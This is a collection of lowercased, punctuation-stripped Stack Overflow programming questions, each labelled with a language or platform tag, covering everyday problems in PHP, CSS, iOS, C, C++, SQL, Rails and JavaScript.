php edit first line of a text file  i m trying to edit the first line of a text file via php. i have broken my script down and tested the functions 1 by 1. my deletion of line 1 works fine. however i then attempt to insert a line at the beginning and it wipes the file to zero and then writes it.    my code:   <pre><code>&lt; php  $filename = $_get[ jobname ]; $sunits = $_get[ s ]; $wunits = $_get[ w ]; $funits = $_get[ f ]; $vunits = $_get[ v ]; $tunits = $_get[ t ]; $data =   s: $sunits - w: $wunits - f: $funits - v: $vunits - t: $tunits ;  $f =  $filename.txt ;  // read into array $arr = file($f);  // remove second line unset($arr[0]);  // reindex array $arr = array_values($arr);  // write back to file file_put_contents($f implode($arr));  $handle = fopen( $filename.txt    r+ ) or die( cannot open file:   .$filename); fwrite($handle  $data .  \n ); fclose($handle);   &gt; </code></pre>   can anyone see what i am doing wrong      thanks,php
how to make for loop iterate in the same order as nslog(@ %@   arrdata)  i executed the following code <code>nslog(@ %@   arrdata);</code> and the output in the debugger was expected like so:   <pre><code>     0.  =     {  first_name = john      };       1.  =     {  first_name = florence      };       2.  =     {  first_name = melinda      };      3.  =     {  first_name = zack      }; </code></pre>   i then executed this code:   <pre><code>for (nsdictionary *book in arrdata) {         nslog(@ %@ %@    book  [[arrdata objectforkey:book]  objectforkey:@ first_name ]); } </code></pre>   and the output was like so:   <pre><code>2. melinda 0. john 3. zack 1. florence </code></pre>   how do i make the for loop print the results in the same order as   <code>nslog(@ %@   arrdata);</code>,objective-c
stuck in the middle  when should i use <code>margin-left:auto; margin-right:auto</code> to center and when should i use <code>margin-left:50%; margin-right:50%</code>     maybe  auto  when i am centering something contained in another element &amp; 50% when i am centering on the page     or i am i just hopelessly confused,css
question on edit button on sqlite  i am trying to show minus symbol when i show data from an sqlite database  but if we show an edit button it shows a delete symbol. i am using navigation controller to show data. i want to show when the page loads  it must be with a  -  symbol without edit button  does anyone have an example or tutorial,iphone
thomas algorithm python  i m a beginner at python. i have the following code that doesn t return anything.    does any one have an answer as to why  when i execute the code  literally nothing happens.   <h1>finding the size of the matrix and determine n</h1>  <pre><code>def thomas(a b c d):      a= [1 3 1.5 4.5 4.5]     b= [-6 -4.5 -7.5 -7.5 -4.5]      c= [3 3 3 3 3]     d= [0 0 100 0 0]      n = len(b)     #print n # used for debugging     # test the size of a and c     if len(a) != n-1:         print ( wrong index size for a.\n a should have an index of )  n-1   \n      your a has    len(a)     exit()     if len(c) != n-1:         print ( wrong index size for c.\n c should have an index of )  n-1   \n      your c has   len(c)     exit()  # converting to float and appending 0.0 to c     for i in range(0 len(a)):         a[i] = float(a[i])     for i in range(0 len(b)):         b[i] = float(b[i])     for i in range(0 len(c)):         c[i] = float(c[i])     for i in range(0 len(d)):         d[i] = float(d[i]) c.append(0.0) # hack to make the function to work  # calculate p and q     p = []; q= []      p.append(c[0]/b[0]); q.append(d[0]/b[0])     for j in range(1 n):         pj = c[j]/(b[j] - a[j-1]* p[j-1])         qj = (d[j] - a[j-1]*q[j-1])/(b[j] - a[j-1]* p[j-1])         p.append(pj); q.append(qj) #print p q # used for debugging the code!  # back sub     x = []; x.append(q[n-1])     for j in range(n-2 -1 -1):         xj = q[j] - p[j]*x[0] # value holder         x.insert(0 xj) # building the list backwards  # return the value     return x     </code></pre>,python
conversion of code from .net framework1.1 to 2.0  is there any better way for converting code written in .net framework 1.1 to framework 2.0 rather than manually checking entire application and changing individually,.net
placement of multiple div (on bottom) having different height  i am trying to achieve bar graph for a simple html page using my own css. i am in the initial stage of creating html and css. below is my html and css.    fiddle: <a href= http://jsfiddle.net/ismailvtl/gjumq/  rel= nofollow >http://jsfiddle.net/ismailvtl/gjumq/</a>    i want my <strong> bar </strong> to stay on <strong> line </strong> even if i change the height of <strong> bar </strong>.    html:   <pre><code>&lt;div class= bar-holder &gt; &lt;div class= bar car &gt;&lt;/div&gt; &lt;div class= bar fat &gt;&lt;/div&gt; &lt;div class= bar iron &gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= line &gt;&lt;/div&gt; </code></pre>   css:   <pre><code>.bar-holder { height:auto; width:100%; float:left;   } .line { width:100%; height:3px; background:#000; float:left; position:relative; } .bar { height:350px; width:40px; float:left; margin-left:20px; border:1px solid #dedede; bottom:0; } .car { background:blue; height:240px; } .fat { background:red; height:300px; } .iron { background:black; height:330px } </code></pre>,css
back to a particular view from any view in ios  i am new to this ios application. i have a 9 view and some time user can skip some view. eg. user can jump to 3 rd view to 5th view. i want to go back to the previous view ( including the skipped view ) i will explain in detail    i have jumped to 3rd view to 5th view. from 5th view there is a back button   when click on that button i need to jump back to 4th view.    currently i  have used    <pre><code> healtghcareresponsibilityviewcontroller *objpri = [viewsarray objectatindex:4];    [objpri passarrayfromenddisclosure:self.arraytopass];   [self.navigationcontroller poptoviewcontroller:objpri animated:yes]; </code></pre>   but i know that 4th view was skipped  so 4th index is not in objectatindex.    but i need to go back to 4th index  is there is any way,ios
voice synthesis for the iphone  i know that apple hasn t given access to voice recognition  but do we have access to voice synthesis. if they haven t given us an api  would it be possible to hack the accessibility apis to work even for people with voiceover turned off,iphone
application failed codesign verification. <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3593180/iphone-codesign-failed >iphone codesign failed</a>    </blockquote>     from last two days i am facing following error when i want to run my xcode on real device for that i am using developer profile (provisioning profile) not distribution profile.  i checked all the certificate in key chain. so  please suggest me proper step by step procedure for removing this error.b cos i don t have another device so i am unable to check it on device.    application failed codesign verification.  the signature was invalid  or it was not signed with an apple submission certificate. (-19011)  this error occurred for development profile     thanks &amp; regards  priyanka.,iphone
how to navigate from one web site page to another web site page in asp.net  i have one project module <code>abc</code>. it has a web config file. now i want add one more <code>.aspx</code> file to <code>abc</code> module. my <code>.aspx</code> file has separate web config file. it  will access the data in a different database.     how do i link this file to my module,asp.net
failed binder transaction when launching new activity  i have a button on an activity which launches another activity.  when i click it  i get the error at the bottom of this thread.    a quick google search lead me to a thread on this topic.  the thread talks about massive image resources.  indeed  on this screen  i have a list where each row contains an image.  that image is retrieved by a web service and shown in the list.  i decided to cut off the code that does this so the images wouldn t be a problem.  the error still occurred.  now i m not sure what to do.  i am not using any of these imageviews or calling web services for images.  i m simply setting the image resource to null.    activityfilter is the activity i m attempting to launch.  activitysettings is the parent of the parent of this activity.    any ideas    <pre><code>02-28 15:43:58.694: i/activitymanager(58): starting activity: intent { cmp=com.myapp.app/.activity.activityfilter (has extras) } 02-28 15:43:58.774: e/javabinder(58): !!! failed binder transaction !!! 02-28 15:44:03.765: w/resourcetype(58): skipping entry 0x7f040004 in package table 0 because it is not complex! 02-28 15:44:03.765: w/resourcetype(58): skipping entry 0x7f040003 in package table 0 because it is not complex! 02-28 15:44:08.726: w/activitymanager(58): launch timeout has expired  giving up wake lock! 02-28 15:44:08.783: w/activitymanager(58): activity idle timeout for historyrecord{451f4ea0 com.myapp.app/.activity.activityfilter} 02-28 15:44:11.687: w/windowmanager(58): key dispatching timed out sending to &lt;null&gt;: no window ready for key dispatch 02-28 15:44:11.687: w/windowmanager(58): previous dispatch state: {{keyevent{action=1 code=4 repeat=0 meta=0 scancode=158 mflags=8} to window{451abdd0 com.myapp.app/com.myapp.app.activity.activitysettings paused=false} @ 1362086851467 lw=window{451abdd0 com.myapp.app/com.myapp.app.activity.activityaccountsettings paused=false} lb=android.os.binderproxy@44ebb660 fin=false gfw=true ed=true tts=0 wf=false fp=false mcf=window{451abdd0 com.myapp.app/com.myapp.app.activity.activitysettings paused=false}}} 02-28 15:44:11.687: w/windowmanager(58): current dispatch state: {{keyevent{action=0 code=4 repeat=0 meta=0 scancode=158 mflags=8} to null @ 1362087851693 lw=null lb=null fin=true gfw=true ed=true tts=0 wf=false fp=false mcf=null}} </code></pre>,android
how can i read a line of numbers from stdin & compute their average   how may i count &amp; extract a number of elements from stdin     for instance  len() is easily available in python  but not in c     im trying to compute an average  when user enters for eg: 1 3 5 7 8 10 11 -1    i ve tried the following:   <pre><code>while (user_input != -1) {     total   += user_input;     scanf ( %d   &amp;user_input);      //cannot work                    average = total /  ... }        printf( average = %f\n   average);   </code></pre>,c
improving mysql query performance when using sum  i have a table of user-generated content that includes an enum format column for status.  (pending  approved  approved-auto  or rejected)  to keep en eye on the amount of recent content by status  i use the following query:   <pre><code>mysql&gt; select date(dt_submitted) as date                 count(*) as count                sum(if(status= approved   1  0)) as approved                sum(if(status= approved-auto   1  0)) as approved_auto                sum(if(status= rejected   1  0)) as rejected                sum(if(status= pending   1  0)) as pending        from post        where dt_submitted &gt; date_sub(curdate()  interval 30 day)        group by date; +------------+-------+----------+---------------+----------+---------+ | date       | count | approved | approved_auto | rejected | pending | +------------+-------+----------+---------------+----------+---------+ | 2011-11-22 |   131 |      124 |             0 |        7 |       0 |  | 2011-11-23 |   116 |      114 |             0 |        2 |       0 |  ... | 2011-12-21 |   690 |      674 |             5 |       11 |       0 |  | 2011-12-22 |    80 |       75 |             0 |        4 |      38 |  +------------+-------+----------+---------------+----------+---------+ 31 rows in set (0.60 sec) </code></pre>   this is nearly perfect  but i m picky and want to see if i can make it faster.  (0.6 sec is slow on this server  and the table changes too often to worry about passing a static date to cache results.)    if i explain the query  it s not using any indexes (<code>status</code> is  indexed).  (is this because it s referring to the temporary table created for the sums )   <pre><code>explain select date(dt_submitted) as date  count(*) as count  sum(if(status= approved   1  0)) as approved  sum(if(status= approved-auto   1  0)) as approved_auto  sum(if(status= rejected   1  0)) as rejected  sum(if(status= pending   1  0)) as pending from post where dt_submitted &gt; date_sub(curdate()  interval 30 day)  group by date; +----+-------------+-------+------+---------------+------+---------+------+--------+----------------------------------------------+ | id | select_type | table | type | possible_keys | key  | key_len | ref  | rows   | extra                                        | +----+-------------+-------+------+---------------+------+---------+------+--------+----------------------------------------------+ |  1 | simple      | post  | all  | null          | null | null    | null | 529902 | using where; using temporary; using filesort |  +----+-------------+-------+------+---------------+------+---------+------+--------+----------------------------------------------+ 1 row in set (0.00 sec) </code></pre>   so is there anything i can do to optimize the table or rewrite the query to make this faster   or is this query simply limited by the speed of available system resources     edit: <code>dt_submitted</code> was not indexed.,mysql
why can t i see my whole background image on mobile   i have a question about: why i can t se my whole background image on mobile  but i can on desktop ``    this is my homepage: <a href= http://odsgaardklausen.dk/cj/  rel= nofollow >http://odsgaardklausen.dk/cj/</a>    i don t now  if i have make a mistake     <pre><code>    /* generelt */ html {         min-height:100%; }    .frontimage{         background-image: url( img/frontimage.jpg ) !important;         background-position: center center;         bottom: 0;         right; 0;         background-repeat: no-repeat;         background-attachment: fixed;         background-size: cover;         background-color: #464646;         z-index: -1;         height: 100vh;         width: 100%; } .about-text{ margin:auto; width:30%; } ul{ list-style-type: none; } #cj{ width:300px; height:300px; margin:auto; } #skills {         width:100%;     background-color: #fffaf5;     padding-top: 48px; } .row {     width:100%;     margin:0;     padding:0; } @media screen and (max-width: 767px){     .about-text{         margin:auto;         width:80%;     } } </code></pre>,css
factorial  tens and units  hi guys i m trying to write a program which will calculate factorial of passed number and show his number of tens and units. this exercise is from spoj.com but apparently my code is too slow and spoj s compiler says i exceed the limit of time.. :/ any ideas how to speed this code up  :) i ve added some comments trying to simplify you understanding of my code. #update. i reorganized my code and it works also fine but is much shorter ;)    <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  int tests  number  result = 1  units  tens  auxiliary;  //program is calculating factorial and writing out the number of tens and units int main() { cin &gt;&gt; tests; // number of integers you want to check  for example if you cin &gt;&gt; 5 then you have 5 numbers to check the answer for (int i = 0; i &lt; tests;i++) // imputation of integers to tables {     cin &gt;&gt; number;     result = 1;     auxiliary = number;     for(int i=0;i&lt;auxiliary;i++)     {         result = result * number;         number -= 1;     }     units = result % 10;   // here i calculate units     tens = result % 100;  // here i calculate number of tens     tens = (tens - units) / 10; // here i calculate number of tens #2     cout &lt;&lt; tens &lt;&lt;   &lt;&lt; units &lt;&lt; endl; // here i write out the answer which has the form  x y  &lt;----  tens units      tens = 0;     units = 0;  }     return 0; } </code></pre>,c++
c++   1 cin enter everything for array  this is my code about bubble sort.   <pre><code>#include  stdafx.h   #include &lt;iostream&gt; #include &lt;cstdlib&gt;  using namespace std;  void swap(int &amp;a  int &amp;b) {     int * x = &amp;a;     int * y = &amp;b;     int tmp = * x;     * x = * y;     * y = tmp;    }   int main() {     // input     int size;     int i=0;     int a[80];     cout &lt;&lt;  how many number in your list a    ;     cin &gt;&gt; size;     for(i=0;i&lt;size;i++) {                    cout &lt;&lt;   a[  &lt;&lt; i &lt;&lt;  ] =   ;         cin &gt;&gt; a[i];     }      // print list     cout &lt;&lt;  this is your list number:  ;     cout &lt;&lt; endl;     for(int i=0; i&lt;=size -1;i++) {         cout &lt;&lt; a[i] &lt;&lt;    ;     }       // while loop   continue if swapped;     bool swapped = true;     int pass=0;     while(swapped == true) {         swapped = false;         // increase pass         pass++;         cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  pass   &lt;&lt; pass &lt;&lt;  : ;         // loop size - pass;         for( i=1; i&lt;=size - pass;i++) {             // check if x &gt; y             if(a[i-1] &gt; a[i]) {                 // true  doing swap                 swap(a[i-1]  a[i]);                 // set swapped to continue next loop                 swapped = true;             }                    // print list again after sort;             cout &lt;&lt; endl;             for(int i=0; i&lt;=size -1;i++) {                 cout &lt;&lt; a[i] &lt;&lt;    ;             }           }                    }      // print after sort;     cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  your list after sort:  ;            for(int i=0; i&lt;=size -1;i++) {         cout &lt;&lt; a[i] &lt;&lt;    ;     }     cout &lt;&lt; endl;      system( pause );     return 0; } </code></pre>   on this code i must enter number of amount (size)  and then enter each of a[i]. but i want to improve this code  can i don t need to enter amount (size)  and just cin the the whole a     like:    <pre><code>please enter your list number: 5 1 4 2 8 [enter] </code></pre>   and i get the whole a[];    just a idea after see first answer. i see  vector can automatic resize  but if i change into vector  will have any way to enter 1 line   i just got an idea  i enter a string of number: 1 2 3 4 5  then i enter. do c++ have any function to split by space  and then return back to an array or a vector   in php  i just use $array = explode(    $string); >_&lt;    thanks your help  tried to read many article >_&lt;,c++
css problems. how do i move two elements to the right and keep them in different blocks   i have this code:   <pre><code>div class= plan-again-text &gt;   didn t find the perfect trip  let s plan again. &lt;/div&gt;  &lt;div class= plan-again &gt;   &lt;%= link_to  let s plan again.   new_planner_path  class:  btn btn-primary  %&gt; &lt;/div&gt; </code></pre>   here is my css:   <pre><code>.plan-again {   margin-right: 30px;   a {     color: #861a08   } }  .plan-again-text {   font-family:  im fell great primer   serif;   font-size: 2em; } </code></pre>   so if i use float right on both... they wind up being on the same line which i think makes sense. what i want is for them both to be on the right side of my page and on top of each other. is there anyway else besides doing like adding    <pre><code>margin 400px  </code></pre>   to my css,css
restrict access in rails app only for users logged in  i m learning rails and i m trying to restrict access to pages if a user hasn t logged in and to only allow them to view the login and sign up pages.    currently  my code creates a session when a user logs in and clears it when the user logs out. i ve got a sessions helper so that i can check whether a user is logged in but i m unsure how to redirect the user throughout the app if he/she s not logged in.    update:   <ol> <li> as i posted the question  i managed to get something to work with a before_filter. should i use a before_action or before_filter  </li> <li> do i need to copy the same method in all my controllers where i want to restrict access  </li> </ol>   code:    /controllers/application_controller.rb   <pre><code>class applicationcontroller &lt; actioncontroller::base   protect_from_forgery with: :exception   include sessionshelper end </code></pre>   /controllers/sessions_controller.rb   <pre><code>class sessionscontroller &lt; applicationcontroller    def new   end    def create     user = user.find_by(email: params[:session][:email].downcase)     if user &amp;&amp; user.authenticate(params[:session][:password])       log_in user       redirect_to user     else       flash.now[:danger] =  invalid email/password combination        render  new      end   end    def destroy     log_out     redirect_to root_url   end  end </code></pre>   /helpers/sessions_helper.rb   <pre><code>module sessionshelper    # logs in the given user.   def log_in(user)     session[:user_id] = user.id   end    # returns the current logged-in user (if any).   def current_user     @current_user ||= user.find_by(id: session[:user_id])   end    # returns true if the user is logged in  false otherwise.   def logged_in      !current_user.nil    end    # logs out the current user.   def log_out     session.delete(:user_id)     @current_user = nil   end end </code></pre>,ruby-on-rails
bitwise manipulation in c  recently i ve come across this problem while trying to learn how bitwise operations work.   <pre><code>int evenbits(void) {  // set all the even bits to 1 // legal operators: ! ~ &amp; ^ | + &lt;&lt; &gt;&gt; // no loops or conditionals! //  int  type only  } </code></pre>   i imagine it wants something like 10101010101 returned. after thinking for a bit (i m very new to bitwise operations)  i came up with something like this:   <pre><code>int result = 0x01; (since hex seems to be what all the other problems use) result |= 1 &lt;&lt; 2; result |= 1 &lt;&lt; 4;  ...   result |= 1 &lt;&lt; 30; </code></pre>   which would set all evens in a 32-bit binary number to 1.    buuuut...it s inefficient. and also i m limited to 8 operations  so i go over quite a bit by doing this.    the problem: i can only use hex values up to 255. and i m limited to 8 operations. so this solutions just doesn t actually work. so i need some help coming up with a different solution that can fit the criteria.,c
cgfloat array help - iphone dev  here is my code:   <pre><code>cgfloat components[8];//[8];// = {  0.6  0.6  0.6  0.5  0.4  0.4  0.4  0.5 }; if ([appdelegate.graphtype isequaltostring:@ response ]) {     cgfloat components[8] = {  0.2  0.2  0.2  0.5  0.5  0.5  0.5  0.5 }; } else  {     if ([appdelegate.graphtype isequaltostring:@ uptime ])     {         cgfloat components[8] = {  0.694  0.855  0.961  0.5  0.188  0.588  0.906  0.5 };     }     else     {         cgfloat components[8] = {  0.694  0.855  0.961  0.5  0.188  0.588  0.906  0.5 };     } } </code></pre>   so basically  i want to draw different gradients based on different graph types. however  xcode shows me that cgfloat components[8] from if/else statements is unused and ignores its values. any ideas what is the problem,iphone
what does this boolean setter mean   i am assigned some maintenance task for a java program and found this:   <pre><code>public void setactivecode(boolean isactivecode) {     this.isactivecode = isactivecode &amp; boolean.true; } </code></pre>   the type of <code>this.isactivecode</code> is a <code>boolean</code>  the same concept is repeated for every boolean setters in the class. i can t figure out why it is done this way and i can t ask the original developer.     would there be any valid reason for doing this,java
change list-style-type if it has a hyperlink - without javascript/jquery <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/45004/complex-css-selector-for-parent-of-active-child >complex css selector for parent of active child</a>    </blockquote>     i have the following code:   <pre><code>&lt;li&gt;   &lt;a href= jsfiddle.net &gt;text&lt;/a&gt; &lt;/li&gt; &lt;li&gt;   only text &lt;/li&gt;​ </code></pre>   i have applied css to li element as:   <pre><code>li {list-style-type: circle;} </code></pre>   i want that the element li on hover should have <strong>list-style-type:disc</strong>  but <strong>only if</strong> it has an <strong>anchor element</strong> inside it. i know its a cakewalk using javascript  but is it possible to achieve this without javascript     i have tried something like this  but could not achieve it: <a href= http://jsfiddle.net/k5sqe/  rel= nofollow noreferrer >http://jsfiddle.net/k5sqe/</a>,css
objective-c: finding index an object exists at <pre><code>[arrayname containsobject:myobject] </code></pre>   is there any way to find the index where myobject exists in arrayname,objective-c
asp configuration error in <authentication mode= windows  />  i get that error when trying to  view in browser  from an aspx file in visual studio 2008.  the complication to the problem is that i m not actually on the server itself  its a project that s been checked out from source control onto my local machine.  i ve seen the solution for the problem if i were on the server but my computer is not and has not been configured to run as a server.  so is there some way to fix this without setting up my own computer as a server   i m pretty new to visual studio and the .net framework so if i ve left something vital out or anything please just ask for clarification.    thanks in advance!    --edit--    thanks for the responses guys but the proposed solution won t work since the project is a  web site  not a  web project  <a href= http://msdn.microsoft.com/en-us/library/aa730880%28vs.80%29.aspx#wapp_topic5  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/aa730880%28vs.80%29.aspx#wapp_topic5</a>    so i don t have a project file (.csproj) i can right click on to get the properties tab you re talking about.  any more ideas for this problem considering these new facts,.net
javascript dropdown - cannot add link  i have created a basic dropdown which changes the image. i am trying to make each image to link to a desired link and change the text in the adjacent table cell but i am struggling to do it. here is the example code.   <pre><code>    &lt;img src= http://www.khl.com/other_files/khl/dealer-locatot.gif  width= 300   border= 0  usemap= #map  longdesc= http://www.khl.com/other_files/khl/dealer-locatot.gif &gt;     &lt;map name= map &gt;         &lt;area shape= rect  coords= 8 11 127 88  href= http://www.scranet.org/  target= _blank  alt= sc&amp;amp;ra &gt;     &lt;/map&gt;      &lt;script language= javascript  type= text/javascript &gt;          imgpath= http://www.vicsjavascripts.org.uk/stdimages/ ;          imgpreloadary=new array( one.gif   two.gif   three.gif   four.gif );          srcary=new array();           for (i=0;i&lt;imgpreloadary.length;i++){              srcary[i]=new image();              srcary[i].src=imgpath+imgpreloadary[i];          }           function cng(sel){              document.getelementbyid( img ).src=imgpath+sel.options[sel.selectedindex].value;              document.getelementbyid( tbl ).style.backgroundimage= url( +(imgpath+sel.options[sel.selectedindex].value)+ ) ;          }          //--&gt;      &lt;/script&gt;  &lt;/head&gt;   &lt;body&gt;      &lt;table width= 300  border= 0  cellspacing= 0  cellpadding= 0 &gt;         &lt;tr&gt;             &lt;td width= 149 &gt;&lt;img src= http://www.khl.com/other_files/khl/dealer-locatot.gif  alt=   width= 130  height= 80  id=img&gt;&lt;/td&gt;             &lt;td width= 151 &gt;related text goes here - along with link to pdf&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;p&gt;         &lt;table width= 149  border= 0  cellspacing= 0  cellpadding= 0 &gt;             &lt;tr&gt;                 &lt;td width= 149  align= left  valign= top &gt;                     &lt;select name= sel  size= 1  onchange= cng(this);  &gt;                         &lt;option value= one.gif &gt;company 1&lt;/option&gt;                         &lt;option value= two.gif &gt;company 2&lt;/option&gt;                         &lt;option value= three.gif &gt;company 3&lt;/option&gt;                         &lt;option value= four.gif &gt;company 4&lt;/option&gt;                     &lt;/select&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;p&gt; </code></pre>,javascript
functional test unable to locate template  i am attempting to write a test verifying my controller s action. when tested manually  the code executes as expected. however  my test raises an error because it is unable to locate a template i am attempting to render.    snippet from my controller code:   <pre><code>response = {:success =&gt; true}  response[:html] = {} response[:html][:list] = render_to_string :partial =&gt;  data_source   :locals =&gt; {:data_source =&gt; @data_source}  respond_to do |format|   format.json {render :json =&gt; response} end </code></pre>   my test:   <pre><code>before do   @data_source = factorygirl.create :data_source  :facebook_fan_page  :account_id =&gt; @account.id  :user_id =&gt; @user.id   post :delete  :format =&gt; :json  :id =&gt; @data_source.id end  it  should disable the data source  do   assert_equal false  @data_source.reload.enabled  end </code></pre>   the error message:   <blockquote>    actionview::missingtemplate: missing partial data_sources/data_source    capture/data_source  application/data_source with {:locale=>[:en]    :formats=>[:json]  :handlers=>[:erb  :builder  :haml]}. searched in:<br>   *  /users/me/code/my_app/app/views    *  /users/me/code/my_app/vendor/bundle/ruby/1.9.1/gems/konacha-3.0.0/app/views    from   /users/me/code/my_app/vendor/bundle/ruby/1.9.1/gems/actionpack-3.2.17/lib/action_view/path_set.rb:58:in   `find   </blockquote>   there is definitely a partial in the app/view/data_sources directory  _data_source.html.haml .    why can t the test find the partial  i suspect a setup issue    thanks in advance.,ruby-on-rails
dropdownlist error  in .net win form application. i load dropdownlist like this.   <pre><code> private void loadchannelcombo()         {             string sql =  select channelid channelname from rechannel where isactive=1 order by channelname ;             datatable dt = dbhandler.getdata(sql);             ddlchannel.datasource = dt;             ddlchannel.displaymember =  channelname ;             ddlchannel.valuemember =  channelid ;         } </code></pre>   now i want to do same in .net web aaplication. when i copy paste that code error occurred like <img src= https://i.stack.imgur.com/70kum.png  alt= enter image description here >     i want to do same as in web application. how can i do that,c#
jquery document on click tap touchstart not working only (iphone5  iphone6)  simple jquery on click event not working iphone6: <code>$(document).on( click tap touchstart    div   function(e){});</code> not working  what should i do,jquery
convert if statement to ternary operator  i tried to convert these if statement to ternary:   <pre><code>var eatsplants = false; var eatsanimals = true;      if(eatsplants){       return  herbivore ;     }else if(eatsanimals){       return  carnivore ;     }else if(eatsplants &amp;&amp; eatsanimals){     return  omnivore ;     }else{      return undefined;     } </code></pre>   here s my solution:   <pre><code>var category = eatsplants &amp;&amp; eatsanimals    omnivore  :  herbivore  :  carnivore  : undefined;  console.log(category); </code></pre>   but this doesnt work and it returns the error missing semicolon.    any idea how to fix it,javascript
how to use on-change with ng-repeat  i am trying to bind 2 properties to a object. the documenttypeid  documenttypename. i am using ng-repeat in a select box  i could not get it to work with ng-options. this hack is causing me problems. i have ngstorage setup in my project  i can get the documenttypename from the $rootscope  problem is i cant execute the function correctly.the parameter in the ng-change function is undefined. i would prefer to get rid of the hack and use ng-options  if not then i just need this to work. open to suggestions  thanks    <a href= http://plnkr.co/edit/qv3fqvgh2jzecgroky3t p=preview  rel= nofollow >plunker</a>   <pre><code> &lt;select class= form-control  ng-model= model.documenttypeid  ng-change= selectdocumenttype(doctype) &gt;     &lt;option ng-repeat= doctype in doctypes  title= {{doctype.documenttypename}}  ng-selected= {{doctype.documenttypeid == model.documenttypeid}}  value= {{doctype.documenttypeid}} &gt;         {{doctype.documenttypename}}     &lt;/option&gt;  &lt;/select&gt; </code></pre>,angularjs
how to hide control in repeater in asp.net throught java script  how to hide control in repeater in asp.net throught java script,asp.net
dynamical pressed image for icon in android  i have an icon which has different images on different run and for each image on the icon there is another image corresponding to that image which is the images which has to be shown when it is pressed. i.e. i want to change the pressed image of an icon programatically. is there any way to do that. help please.....,android
where clause in mutiple table sql joins  tables   <pre><code>create table localbusiness (     businessid int not null primary key      businessname varchar2 (20) not null      typeid int      latitude decimal (10 2)      longitude decimal (10 2)      web_address varchar2 (50) not null      postcode varchar2 (10) not null      official_rating int      min_price number(4 2)      max_price number(4 2)       foreign key (typeid) references localbusinesstype (typeid)      constraint chk_officialrating check (official_rating&gt; 0 and  official_rating&lt;6 ) );  create table address (     addressid int not null primary key      businessid int      areaid int      address varchar2 (50) not null      postcode varchar2 (10) not null       foreign key (businessid) references localbusiness (businessid)      foreign key (areaid) references area (areaid) );  create table phone (     phonenoid int not null primary key      phoneno varchar2 (15) not null       businessid int      description varchar2 (50) not null       foreign key (businessid) references localbusiness (businessid)      constraint phoneno_unique unique (phoneno)  );  create table email (     emailid int not null primary key      email_address varchar2 (50) not null      businessid int      description varchar2 (50) not null       foreign key (businessid) references localbusiness (businessid)      constraint email_unique unique (email_address) );  create table area (     areaid int not null primary key      areaname varchar2 (20) not null      region varchar2 (20) not null ); </code></pre>   <code>select</code> statement:   <pre><code>select       localbussiness.businessname  address.address  address.postcode       area.areaname  area.region  localbusiness.officialrating       localbusiness.min_price  localbusiness_max_price       phone.description  phone.phoneno       email.description  email.email_address       localbusiness.web_address from     localbusiness  join      address on localbusiness.businessid = address.businessid join      area on address.areaid = area.areaid           and localbusiness.businessid = address.businessid join      phone on phone.businessid = localbusiness.businessid join      email on email.businessid = localbusiness.businessid where      typeid =  1  order by      localbusiness.businessname asc; </code></pre>   the where clause in the sql join statement written above seem to be ineffective as the some values for the typeid return incomplete data while others return no rows at all. how do i go about fixing this,sql
how to use simd instructions in codeblocks c   i am trying to use simd instructions in my c programming. i am using codeblocks to write in.     i tried following this tutorial: <a href= https://www.kernel.org/pub/linux/kernel/people/geoff/cell/ps3-linux-docs/cellprogrammingtutorial/basicsofsimdprogramming.html  rel= nofollow >https://www.kernel.org/pub/linux/kernel/people/geoff/cell/ps3-linux-docs/cellprogrammingtutorial/basicsofsimdprogramming.html</a>    i am trying to do both integer and floating point simd addition  subtraction  etc.     however  the code explained in the page does not work in codeblocks/c. how do i use simd here    <pre><code>#include &lt;stdio.h&gt; typedef int v4sf __attribute__ ((mode(v4sf))); // vector of four single floats  union f4vector {   v4sf v;   float f[4]; }; int main() {   union f4vector a  b  c;    a.f[0] = 1; a.f[1] = 2; a.f[2] = 3; a.f[3] = 4;   b.f[0] = 5; b.f[1] = 6; b.f[2] = 7; b.f[3] = 8;    c.v = a.v + b.v;    printf( %f  %f  %f  %f\n   c.f[0]  c.f[1]  c.f[2]  c.f[3]); } </code></pre>   c:\things\new text document.c|2|warning: specifying vector types with <strong>attribute</strong> ((mode)) is deprecated [-wattributes]| c:\things\new text document.c|2|warning: use <strong>attribute</strong> ((vector_size)) instead [-wattributes]| c:\things\new text document.c|2|error: mode  v4sf  applied to inappropriate type| ||=== build failed: 1 error(s)  2 warning(s) (0 minute(s)  0 second(s)) ===|,c
clear lsb of year and insert byte  my program takes in a date time packet from a hardware device  which is of type byte. an example packet is:   <pre><code>byte[] packet = new byte[] {0x0c  0x01  0x15};  //packet[0] is the last two numbers of the year </code></pre>   as stated in the comments  packet[0] represents the last two numbers of the year. so  for example  this would translate to 2012 in decimal.     now my question is  how do i return 2012 to the user  for the first two numbers of the year   20   i know i can call:   <pre><code>int systemyear = datetime.now.year; </code></pre>   which returns: 0x000007dc  or 20 12  in decimal. i need no somehow remove the last two numbers from the year  in this case  12  and insert the packet[0] byte in that location instead.    i don t always want to assume we are in the year  20xx . if this program is run in the year 2101  this would cause problems.     also  i can t always assume that the hardware will return the current year we are living in. this is what my program is actually going to check.     so  say for example packet[0] = 0x02. this would assume the hardware returned the year 2002.    what is the best way to achieve this,c#
